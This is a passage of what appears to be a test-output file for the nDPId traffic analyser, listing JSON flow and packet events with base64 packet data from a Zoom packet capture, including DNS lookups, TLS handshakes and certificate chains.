ZABwAGwAYABoAFgAOAA0ACwAMAAkACgAjAAAADQAgAB4GAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgMADwABAQAVAKQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":167,"source":"zoom.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":4,"flow_first_seen":1569520470742,"flow_last_seen":1569520470775,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"213.19.144.105","src_port":54867,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoomam105zc.zoom.us","ja3":"c51de225944b7d58d48c0f99f86ba8e6","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00462{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":776015,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"KDc3AG3IEBMx8Tl2CABFAABQ61QAADcRFILAqAEBwKgBdQA14s8APF0wRhSBgAABAAEAAAAACnpvb21mcjg0emMEem9vbQJ1cwAAAQABwAwAAQABAAABLAAE1fSMVA=="} +00666{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":168,"source":"zoom.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":2,"flow_first_seen":1569520470742,"flow_last_seen":1569520470776,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":44,"flow_max_l4_data_len":60,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":58063,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Zoom","breed":"Acceptable","category":"Video"},"dns": {"query":"zoomfr84zc.zoom.us","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"213.244.140.84"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":169,"source":"zoom.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1569520470776,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"213.244.140.84","src_port":54870,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":776773,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGFlLAqAF11fSMVNZWAbv57BLmAAAAALAC\/\/8ncAAAAgQFtAEDAwUBAQgKJZzgpQAAAAAEAgAA"} +00434{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":787298,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADAGIyPVE5BowKgBdQG71lTDwlhoC7yJ3KASqbBbBgAAAgQFrAQCCAp7WhBHJZzgkQEDAww="} +00422{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":787406,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGEyvAqAF11ROQaNZUAbsLvIncw8JYaYAQECwjNgAAAQEICiWc4K97WhBH"} +01120{"flow_id":26,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":787532,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"EBMx8Tl2KDc3AG3ICABFAAI5AABAAEAGESbAqAF11ROQaNZUAbsLvIncw8JYaYAYECxC1AAAAQEICiWc4K97WhBHFgMBAgABAAH8AwMlumOwogFlEGJOALeiTken6cU+5C6E0iipQGcv9AdGngAAusAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCIAIcAhgCFwBkApwBtADoAicAywC7AKsAmwA\/ABQCdAD0ANQCEwC\/AK8AnwCPAE8AJAKQAogCgAJ4AZwBAAD8APgAzADIAMQAwAJoAmQCYAJcARQBEAEMAQsAYAKYAbAA0AJsARsAxwC3AKcAlwA7ABACcADwALwCWAEEAB8ASwAgAFgATABAADcAXABvADcADAAoA\/wEAARkAAAAYABYAABN6b29tYW0xMDR6Yy56b29tLnVzAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgAjAAAADQAgAB4GAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgMADwABAQAVAKQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":172,"source":"zoom.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":4,"flow_first_seen":1569520470755,"flow_last_seen":1569520470787,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"213.19.144.104","src_port":54868,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoomam104zc.zoom.us","ja3":"c51de225944b7d58d48c0f99f86ba8e6","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00434{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":790501,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADMGI1XV9IxVwKgBdQG71lXIKlM86vs2SKASqbDi9AAAAgQFrAQCCAp4gwNrJZzgnwEDAww="} +00422{"flow_id":27,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":790590,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFl3AqAF11fSMVdZVAbvq+zZIyCpTPYAQECyrLwAAAQEICiWc4LJ4gwNr"} +01121{"flow_id":27,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":790730,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"EBMx8Tl2KDc3AG3ICABFAAI5AABAAEAGFFjAqAF11fSMVdZVAbvq+zZIyCpTPYAYECxm4gAAAQEICiWc4LJ4gwNrFgMBAgABAAH8AwPOsWIRZYhgC2j87iAcGDuF\/Bs6QMfxdEKwNJwvqjcyKAAAusAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCIAIcAhgCFwBkApwBtADoAicAywC7AKsAmwA\/ABQCdAD0ANQCEwC\/AK8AnwCPAE8AJAKQAogCgAJ4AZwBAAD8APgAzADIAMQAwAJoAmQCYAJcARQBEAEMAQsAYAKYAbAA0AJsARsAxwC3AKcAlwA7ABACcADwALwCWAEEAB8ASwAgAFgATABAADcAXABvADcADAAoA\/wEAARkAAAAXABUAABJ6b29tZnI4NXpjLnpvb20udXMACwAEAwABAgAKABwAGgAXABkAHAAbABgAGgAWAA4ADQALAAwACQAKACMAAAANACAAHgYBBgIGAwUBBQIFAwQBBAIEAwMBAwIDAwIBAgICAwAPAAEBABUApQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":175,"source":"zoom.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":4,"flow_first_seen":1569520470769,"flow_last_seen":1569520470790,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"213.244.140.85","src_port":54869,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoomfr85zc.zoom.us","ja3":"c51de225944b7d58d48c0f99f86ba8e6","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00434{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":801162,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADMGI1bV9IxUwKgBdQG71lYtiv8U+ewS56ASqbDdrgAAAgQFrAQCCAp8tQexJZzgpQEDAww="} +00423{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":801244,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFl7AqAF11fSMVNZWAbv57BLnLYr\/FYAQECyl5QAAAQEICiWc4Lx8tQex"} +01122{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":801435,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"EBMx8Tl2KDc3AG3ICABFAAI5AABAAEAGFFnAqAF11fSMVNZWAbv57BLnLYr\/FYAYECz3EQAAAQEICiWc4Lx8tQexFgMBAgABAAH8AwOnhWFSZkMidqzMf2GAlFCBDInFtmdcn\/lf0Xn0vzHFbgAAusAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCIAIcAhgCFwBkApwBtADoAicAywC7AKsAmwA\/ABQCdAD0ANQCEwC\/AK8AnwCPAE8AJAKQAogCgAJ4AZwBAAD8APgAzADIAMQAwAJoAmQCYAJcARQBEAEMAQsAYAKYAbAA0AJsARsAxwC3AKcAlwA7ABACcADwALwCWAEEAB8ASwAgAFgATABAADcAXABvADcADAAoA\/wEAARkAAAAXABUAABJ6b29tZnI4NHpjLnpvb20udXMACwAEAwABAgAKABwAGgAXABkAHAAbABgAGgAWAA4ADQALAAwACQAKACMAAAANACAAHgYBBgIGAwUBBQIFAwQBBAIEAwMBAwIDAwIBAgICAwAPAAEBABUApQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":178,"source":"zoom.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":4,"flow_first_seen":1569520470776,"flow_last_seen":1569520470801,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"213.244.140.84","src_port":54870,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoomfr84zc.zoom.us","ja3":"c51de225944b7d58d48c0f99f86ba8e6","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00423{"flow_id":25,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":808123,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA08HhAADAGMrHVE5BpwKgBdQG71lPrn+6BoN5fU4AQAAv+\/AAAAQEICnh9HvolnOCk"} +02365{"flow_id":25,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":810026,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXU8HlAADAGLRDVE5BpwKgBdQG71lPrn+6BoN5fU4AQAAs0xQAAAQEICnh9HvolnOCkFgMDAEICAAA+AwPFrhdZGN2N+Uz05EmEUhH0JL2M8HnLrGczLtg5yA\/oiwDALwAAFv8BAAEAAAsABAMAAQIAIwAAAA8AAQEWAwMUFAsAFBAAFA0ABqgwggakMIIFjKADAgECAgkAuAr5aaJJsgcwDQYJKoZIhvcNAQELBQAwgbQxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjEtMCsGA1UECxMkaHR0cDovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMTMwMQYDVQQDEypHbyBEYWRkeSBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTkwMzI1MTkzODQyWhcNMjEwMzI1MTkzODQyWjA3MSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxEjAQBgNVBAMMCSouem9vbS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALaxfGmkVOyU0AkAAY7kCiG99jBGIh+VdDOgabIxgZ7wT8ILDqU2MftFgTalkBtnlix1nB\/A23lZT3vWYLmdiArSXVZkjjpjHARBVVYAUir7OAher\/0qd4RZHsRK0bdRd40NdKuLb6he5TPeCPCo8mDuK41gZM9CkQPeJav\/RaowvfOtYiwp3Pt5JvpmmLCPkYu++RhH8LKfsuAhqv9m2xv6wau3C0G\/6Ce0z3s3aPbA6HK2Vctbrn12ZNiektUI25iSiJW21\/fYcY723x0hBp7tRPZNdMSHZ3e4QkzjXfUGyEK\/6tGaySEj+yvSYd5DUN0izEz+KBtCx95g0jp0b9MCAwEAAaOCAzMwggMvMAwGA1UdEwEB\/wQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA4GA1UdDwEB\/wQEAwIFoDA4BgNVHR8EMTAvMC2gK6AphidodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkaWcyczEtMTAxMS5jcmwwXQYDVR0gBFYwVDBIBgtghkgBhv1tAQcXATA5MDcGCCsGAQUFBwIBFitodHRwOi8vY2VydGlmaWNhdGVzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMAgGBmeBDAECATB2BggrBgEFBQcBAQRqMGgwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzBABggrBgEFBQcwAoY0aHR0cDovL2NlcnRpZmljYXRlcy5nb2RhZGR5LmNvbS9yZXBvc2l0b3J5L2dkaWcyLmNydDAfBgNVHSMEGDAWgBRAwr0njsw0gzCiM9f7bLPwtCyAzjAdBgNVHREEFjAUggkqLnpvb20udXOCB3pvb20udXMwHQYDVR0OBBYEFK\/\/A+eqHnVNBj7T3SSRE7i2ztfYMIIBfgYKKwYBBAHWeQIEAgSCAW4EggFqAWgAdgCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAWm2XMJ0AAAEAwBHMEUCIGBxi3tQD8E7\/i5SW3PuSOWOtMDrbmlOuAQU+VSegUXXAiEAt51T+DldjWi8Ekq43+cZhUTmCceC5bgqC3HWUayeaD4AdgDuS723dc5guuFCaR+r4Z5mow9+X7By2IMAxHuJeqj9ywAAAWm2XMTxAAAEAwBHMEUCICiEIvES2m58Hqrdk1z6D\/VDBAWPZ6\/7XLmd4JXWkmvGAiEArZspf5lv\/3TS1cYqMEKKiFMPCaUjl39XIpCCbPMANBQAdgBElGUusO7Or8RAB9io\/ijA2uaCvtjLMbU\/0zOWtbaBqAAAAWm2XMe5AAAE"} +00821{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":180,"source":"zoom.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":6,"flow_first_seen":1569520470742,"flow_last_seen":1569520470810,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"213.19.144.105","src_port":54867,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoomam105zc.zoom.us","ja3":"c51de225944b7d58d48c0f99f86ba8e6","ja3s":"ada793d0f02b028a6c840504edccb652","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02363{"flow_id":25,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":810148,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXU8HpAADAGLQ\/VE5BpwKgBdQG71lPrn\/QhoN5fU4AQAAtFnAAAAQEICnh9HvolnOCkAwBHMEUCICZBrYK+GGtVSdHk3b8VHsrDm6ajQ58z1O7BdEqHCXy2AiEAn6AYWb8PmQ7IhYNbHgI4gCM37GT4YnU97JyydhHs6SgwDQYJKoZIhvcNAQELBQADggEBALm3XxvmAxG3IkUdHT+Kg3Gdme1zrqEBmMm7KerxSo04mAO+wqNE7BtmMlulaHZ9Z4syCloedM1x96JrQ3t0boruQAhnOlvnmvFBfuohu9oncLnbTmv+52y6PnzVcU36zE+9\/mBRQN8g25Xi29P9pwEzguCY+ecBRzTK6h0Sl4TFrkhzrUqGeILBakJ5CWRPYRg+OU6qgFVG7kNWeqzV1lmJl0epG3dO3baTSwN2+1BadUhLIZWqpLM\/GrxissNVMDfzR5peJgNvGg7VI37Xda5xV4mPfc+vCRUICOcuM\/U9dzPYTXUnypGEFSXOhiu1g4jB4DBHpmqaaQxhC2IlsOwABNQwggTQMIIDuKADAgECAgEHMA0GCSqGSIb3DQEBCwUAMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTEwNTAzMDcwMDAwWhcNMzEwNTAzMDcwMDAwWjCBtDELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMuMS0wKwYDVQQLEyRodHRwOi8vY2VydHMuZ29kYWRkeS5jb20vcmVwb3NpdG9yeS8xMzAxBgNVBAMTKkdvIERhZGR5IFNlY3VyZSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALngyxDUr3a91JNi6zBkuIEIbMME2WIXji\/\/PmXPj85i5jxSHNoWRUtVq3hrY4NikM4PaWyZyBoUi0zMRTPqiNyeo68r\/oBhnXlXxM8u9D8wPF1H\/JoWvMM3lkFRjhFLVPgovtCMvvAwOB7zsCb4Zkdjbd5xJkePOEdT0UYdtOPcAOpFrL28cdmqbwDb280wOnlPX0xH+B3vW8LEnWA7sbJDkdikM07qs9YnT60liqXG9NXQpq50BWRXiLVEVdQtKjo++Li96TIKApRkxBY6UPFKrud5M68MIAd\/6N8EOcJpAmxjUvp3wRvIdIfIuZMYUFQ1S2lOvDvTSS4f3MHSUvsCAwEAAaOCARowggEWMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMB0GA1UdDgQWBBRAwr0njsw0gzCiM9f7bLPwtCyAzjAfBgNVHSMEGDAWgBQ6moUHEGcotu\/2vQVBbiDBlNoP3jA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkcm9vdC1nMi5jcmwwRgYDVR0gBD8wPTA7BgRVHSAAMDMwMQYIKwYBBQUHAgEWJWh0dHBzOi8vY2VydHMuZ29kYWRkeS5jb20vcmVwb3NpdG9yeS8wDQYJKoZIhvcNAQELBQADggEBAAh+bJMQyDi4lqmQS\/+hX08E72w+nIgGyVCPpnP3VzEbvrzkL9v4utNb4LTn5nliDgyi12pjczG19ahIpDsILaJdkNe0fCVPEVYwxLZEnXssneVe5u8MYaq\/5Cob7oSeuIN9wUPORKcTcA2R"} +00423{"flow_id":25,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":810185,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGEyrAqAF11ROQadZTAbug3l9T65\/5wYAQD9Pj1AAAAQEICiWc4MR4fR76"} +02076{"flow_id":25,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":810272,"pkt_caplen":1282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1282,"pkt_l4_len":1248,"pkt":"KDc3AG3IEBMx8Tl2CABFAAT08HtAADAGLe7VE5BpwKgBdQG71lPrn\/nBoN5fU4AYAAvVLgAAAQEICnh9HvolnOCkH\/TIE62DYNnYcqhzJB61rCIOyheJYlhEG6uJJQEAD83EG2LbUbTTD1Eqm\/S8c\/x2zjakzdnYLOqum\/UqspDRTXUYij+KQZAjfVtL\/qQDWJtGssNgYIP4fVBBzsKhkMO77wIv0hVU7kQV2Qqup4oz7bEtdjYm3ATrn\/dhHxXch2\/uRpYoraEmfQoJpy4Eo428+LwEMAEABIEwggR9MIIDZaADAgECAgMb5xUwDQYJKoZIhvcNAQELBQAwYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNDAxMDEwNzAwMDBaFw0zMTA1MzAwNzAwMDBaMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC\/cWII8fpZNPcbyRij94BJWOkigxOmxSBDATuE8eaFSZ8n6vaEG06gtNtwmMcyAbEFPgdO7vT6Ty9ZMCLnqxlWa+KAB\/zzFnWAOVF75fk1tnROqY2CE+S2P6kDg\/qivooVan\/eC8O2GRQFyurDqASUO0Z8Mg3zAGYiyI1pbTaMERi307IcYLQ4+gKMztPdRgfeCj7rXXzIfPuwK1OkkmJpUSUFYRpEgYwsqUOWI9+sOoGaDinFHKnpXR62np4wCjnO8YiA+0tdzDLshWJDJTQCVicBkbQ7cCo\/brHonIgBfZ\/U+dtTbWCdvyznWKu4X0b8zsQbAzwJ60kxXGlGs+BHAgMBAAGjggEXMIIBEzAPBgNVHRMBAf8EBTADAQH\/MA4GA1UdDwEB\/wQEAwIBBjAdBgNVHQ4EFgQUOpqFBxBnKLbv9r0FQW4gwZTaD94wHwYDVR0jBBgwFoAU0sSw0pHUTBFxs2HLPaH+3ahq1OMwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5nb2RhZGR5LmNvbS8wMgYDVR0fBCswKTAnoCWgI4YhaHR0cDovL2NybC5nb2RhZGR5LmNvbS9nZHJvb3QuY3JsMEYGA1UdIAQ\/MD0wOwYEVR0gADAzMDEGCCsGAQUFBwIBFiVodHRwczovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMA0GCSqGSIb3DQEBCwUAA4IBAQBZC1O9koYRpyR77Vsxzx0fbHDFuG6+Trv2vpdQ4TB\/uihcYpTC434z9\/tCdoXblRyMIlh1CQyIZWc5ChYJxaA4l6TFI5M\/tBimAQZEkeOnaSe0WiV\/Orcyzd2E\/yo4KTOk3Weyhf6hiCAcUInI3Cr2QgM3TOaI39WvJPKxw9\/MtezgmV63SVQgPJQYDMccUhhJpG3hs1gLydjs2a4cMo4ocA3i\/qYXng=="} 